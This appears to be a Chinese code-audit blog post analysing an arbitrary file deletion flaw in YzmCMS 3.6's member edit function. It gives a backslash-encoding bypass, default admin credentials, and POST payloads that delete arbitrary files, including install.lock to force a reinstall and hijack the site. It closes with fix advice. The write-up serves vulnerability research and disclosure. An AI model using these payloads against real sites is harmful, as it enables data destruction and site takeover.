【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析

 

0x00 环境准备

YzmCMS官网:http://www.yzmcms.com/

程序源码下载:http://pan.baidu.com/s/1pKA4u99

测试网站首页:

 

0x01 代码分析

1、文件位置: /application/member/controller/member.class.php 第118-132行中:

  1. public function edit(){   
  2.     $userid = isset($_GET['userid']) ? intval($_GET['userid']) : 0;  
  3.     if(isset($_POST['dosubmit'])){  
  4.         if($_POST['password'] == ''){  
  5.             unset($_POST['password']);  
  6.         }else{  
  7.             $_POST['password'] = password($_POST['password']);  
  8.         }  
  9.         if(isset($_POST['del_userpic']) && $_POST['del_userpic'] == '1'){         
  10. 10.             if($_POST['userpic'] != ''){  
  11. 11.                 $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);  
  12. 12.                 if(is_file($userpic)) @unlink($userpic);    //删除头像文件  
  13. 13.                 $_POST['userpic'] = '';  
  14. 14.             }  
  15. 15.         }  

这段函数中对提交的参数进行处理,当del_userpic满足条件,将userpic进行处理拼接到完整的路径中,然后使用unlink函数进行删除。参数Userpic可控,导致程序在实现上存在任意文件删除漏洞。

2、另外,这里应该是程序作者的一个逻辑缺陷,正常操作userpic并无法删除头像文件,因为这里在路径拼接处理上存在问题:

  1. $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);   
  2. 等价于  
  3. $userpic = YZMPHP_PATH.str_replace("\",'',$_POST['userpic']);   

默认情况下,userpic提交的参数为/uploads/201801/18/180118105655915.jpg,这种情况下,“/”被过滤,组成的路径变成uploads20180118180118105655915.jpg,导致程序在实现上并无法正确删除头像文件。

3、如何绕过这种限制?

我们知道“/”被过滤,我们可以使用“\”,url编码%5C,绕过这种限制,提交

\\uploads\\201801\\18\\180118105655915.jpg,即可正常删除图片文件,这里应该是作者的一个逻辑缺陷,导致头像文件删除功能不正常。

0x02 漏洞利用

1、在网站根目录下,新建test.php作为测试文件:

 

2、利用管理员权限登录后台,可利用默认后台默认账号密码来猜解。

默认后台路径:http://127.0.0.1/admin/index/login.html

管理员默认账号密码均为:yzmcms

构造url连接,可成功删除根目录下的测试文件。

Payload:http://127.0.0.1/member/member/edit/userid/1.html

POST: del_userpic=1&dosubmit=&userpic=%5C%5C1.txt

 

3、如何进一步利用?

思路:删除\\cache\\install.lock文件,进行cms重装,劫持网站数据库。

Payload:http://127.0.0.1//application/install/index.php

POST:del_userpic=1&dosubmit=&userpic=%5C%5Ccache%5C%5Cinstall.lock

构造这样的请求,即可删除install.lock文件,然后访问

http://127.0.0.1/application/install/index.php 即可进行CMS重装。

 

0x03 修复建议

1、过滤..,用来防止目录跳转

2、对要删除的文件名进行严格限制

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

猜你喜欢

转载自www.cnblogs.com/xiaozi/p/10053498.html
今日推荐